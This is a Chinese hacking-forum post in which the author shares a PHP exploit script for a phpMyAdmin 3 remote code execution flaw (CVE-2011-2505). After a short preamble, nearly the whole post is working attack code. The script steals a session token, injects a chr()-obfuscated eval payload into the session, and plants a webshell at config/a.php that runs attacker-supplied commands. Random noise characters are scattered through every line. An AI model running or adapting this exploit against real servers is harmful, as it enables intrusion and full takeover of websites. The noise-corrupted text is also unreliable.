最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。7 @' J$ u* Q3 ~; l' M
& u$ t4 O# L* B+ W( n/ h
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
9 k0 {% m8 Q6 B5 b1 G
8 q* J% i, f/ [. X首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
/ y( j7 H) a0 N. |: F1 p一是session.auto_start = 1;: S1 X# E3 L" M, ?* l
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。+ g) ~6 H5 ]5 H# _* u
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
1 R4 o4 G& V! w' V0 I# l) G% t; Y" @# U. |1 ?
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。4 O" s4 _2 ]# K4 ]
& j) M" s" ?0 L于是写了这个php版本的exp,代码如下:/ g9 D* L. E# k( o4 ~
4 F- _/ _" |2 G$ C+ s |# p
#!/usr/bin/php& O$ p. P T9 s% p! f" Y1 M
<?php
- Q% g) k. M/ V/ J6 Eprint_r('5 }8 i3 q, v4 t J! V% s
+---------------------------------------------------------------------------+
3 Z; |' R# [2 Opma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]. \2 a8 r8 a8 m& N; D k! Q. J' _9 n) T
by oldjun(www.oldjun.com)
2 J% t. n6 y/ \( [4 P1 y# x- Ywelcome to www.t00ls.net
! S! K6 k8 Q% f5 fmail: oldjun@gmail.com
$ G4 a6 J& W! V' V+ {4 z: cAssigned CVE id: CVE-2011-2505( }; j+ w' h, ~+ R% G3 {
+---------------------------------------------------------------------------+
" u$ ?# b W: T');
7 t8 x% A @ l
! s, B7 M/ y6 s5 v- e) S/ v ]/**
0 }8 c t- N7 w( N9 Q# I# N * working when the directory:"config" exists and is writeable.* E, _6 } g& | j% m
**/& V# B! I& \# a! R! k: z
% ^: I) q6 i4 G" b/ S: i$ G: Wif ($argc < 3) {( v3 B! q8 w! d4 |
print_r('
3 p R+ m# C1 h/ f( C2 _' S ^; K) M+---------------------------------------------------------------------------+0 t! C5 Z) N! [
Usage: php '.$argv[0].' host path
# {2 ^( _& N Bhost: target server (ip/hostname)5 z0 H( H/ w3 k7 a+ R% @0 q& M( w" p
path: path to pma3% s1 [4 N% A# D. h& ?$ o V* o
Example:# \# {* {8 A* ?& u" ^
php '.$argv[0].' localhost /pma/$ H2 x( H0 L9 |% j" W. `
+---------------------------------------------------------------------------+
6 S2 z! ^0 R3 |/ g* }; o'); J7 [/ d F& ~( e1 X0 ~- w4 @
exit;' X7 F* ]. X2 c
}( }. C2 P. F- j& K) T! q+ [& y
4 _) h# K# l: U1 J+ A
$host = $argv[1];
2 n$ T8 r( C4 _# l2 U; O+ A$path = $argv[2];) n! y8 }/ V; Q8 R! A# i
( O/ E; B* B) s( C- e* O/**
, ~5 t' X* M# Z& v * Try to determine if the directory:"config" exists
! D* j% {4 |3 T1 V4 p2 E**/$ z( m6 ]# b& j* o9 A6 Z
echo "[+] Try to determine if the directory:config exists....\n";! [) H# O; g" T4 y
$returnstr=php_request('config/');
6 c( V, y- H+ j/ b/ T3 Qif(strpos($returnstr,'404')){
+ o' L/ v9 ~. c- G3 @# T* j exit("[-] Exploit Failed! The directory:config do not exists!\n");
* D* u2 W# E w. `}8 I$ `4 k/ a4 s2 C0 t8 g& P
% s4 L* `# R5 s& M, l
/**
/ m& |; w y3 E1 u( c5 h2 ^ * Try to get token and sessionid6 ^9 _1 o( U; u
**/( [ o: S; w9 x+ ~3 V
echo "[+] Try to get token and sessionid....\n";
3 { o# Z1 |- M6 ]$ j$result=php_request('index.php');
) P1 G* U( _+ _# t2 N/ Qpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);8 j* a& B, Y; p) E$ l
$token=$resp[3];
% q3 p% Z4 p5 b) g8 }- b$sessionid=$resp[1];- v8 u+ K' O3 b& R* I
if($token && $sessionid){$ a! P1 c' `+ P" v- l( k
echo "[+] token token\n";
2 M3 `- R6 ?8 t5 l' } echo "[+] Session ID sessionid\n";
9 V/ K0 I, Z1 `+ f( C}else{
0 W/ M* B& Z" J8 o$ Q3 B exit("[-] Can't get token and Session ID,Exploit Failed!\n");, K! v1 w4 Z, L
}' S' F" u( t2 n% p+ r9 Q
( R( e) {% W# o5 T% a/**
8 J+ \& `" x0 ~9 u * Try to insert shell into session
8 A& y; t/ w. k/ M$ I. a**/* b1 H# g; t# T+ Z( e) P" m
echo "[+] Try to insert shell into session....\n";( M& V+ M8 r3 N
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
: H9 e4 d# A2 _# N' y! y/ o4 ^9 A) H1 {
/**
3 z# F4 J8 t, C * Try to create webshell
% J' [4 k4 l; y! ~) X2 _, p**/6 @0 U0 e% s; B8 S" p4 x
echo "[+] Try to create webshell....\n";
0 X& F; s" U/ O$ a; L, c" C/ J5 vphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
5 H/ M1 }. ]. |, G2 n& l- h/**
: S$ V/ Q+ d6 B3 d% g * Try to check if the webshell was created successfully
) \" _% U: U! m0 n7 U# I! F**/
; t8 W4 E p7 _echo "[+] Try to check if the webshell was created successfully....\n";. P; y: m J; B, K ]" X/ H$ J
$content=php_request('config/config.inc.php');
9 ^) ^5 {, x& S( @* B' b" f j# d7 I. rif(strpos($content,'t00ls')){% K$ {6 O/ B# J: M5 J
echo "[+] Congratulations! Expoilt successfully....\n";5 O |& |& h, G
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
4 a2 Z" z5 J; K. W/ \. y% y}else{3 V5 O. Q/ I3 W- ~( v
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");9 C; ^6 Z) `2 N8 b( R. r
}2 a( |( {. Z$ x# i! y
2 D1 a( R: ^+ M2 ]4 y8 z" b+ M$ O# W9 nfunction php_request($url,$data='',$cookie=''){
8 L( q0 ~0 J+ ~ global $host, $path;9 q8 O$ l+ W' @1 V% R u4 z+ T1 A
( A+ ^, K, N% R, O% J $method=$data?'POST':'GET';" d% w' I' m) T, ]
) V: f% G# x; I- p9 X6 [. o# u $packet = $method." ".$path.$url." HTTP/1.1\r\n";
/ @; Q: |8 V6 U$ Y $packet .= "Accept: */*\r\n";. Z) Q9 P1 g1 m& x& O
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";2 n- y- n$ n( v' S# u; e: W
$packet .= "Host: $host\r\n";1 z+ D3 e& s, E4 `- A/ l. D
$packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";0 M& x8 B* i* U. p' ~! e/ _
$packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
( [1 W- N0 S7 _' G $packet .= $cookie?"Cookie: $cookie\r\n":"";! q1 I1 J4 @8 c" I' q$ w* s( C
$packet .= "Connection: Close\r\n\r\n";
$ e" @+ E( y, c, e# X. g. p $packet .= $data?$data:"";7 Q7 W z6 X& [& \% c' n T- K
' t2 \: a: [' [! v( q/ t! b
$fp = fsockopen(gethostbyname($host), 80);
' g: Q7 b) c2 {& z% `, D* m# \ if (!$fp) {8 C1 a. g9 d- y0 `( o
echo 'No response from '.$host; die;
. t4 p; r4 b9 m3 b& ` }
8 R. r3 C3 c3 T! x/ O fputs($fp, $packet);7 ~5 a/ Z4 [* F8 t1 m( r4 @
B3 s; a/ L# e8 ?4 O2 h2 a- w
$resp = '';$ [5 m) d/ k1 z. |4 R+ y
/ I! J' r: j9 i) b8 U" b while ($fp && !feof($fp))
; ?* y+ |! i, D7 A: V9 ` $resp .= fread($fp, 1024);4 M7 B- s: S* ?! A; L. u" H
2 f2 i/ h9 {! |4 L0 L& n. a
return $resp;0 ^8 D4 B' Z6 F
}' W8 e1 f, ~; U! A/ \
% v+ l3 G% T3 Y
?> ' M6 Z) I. k4 o
. |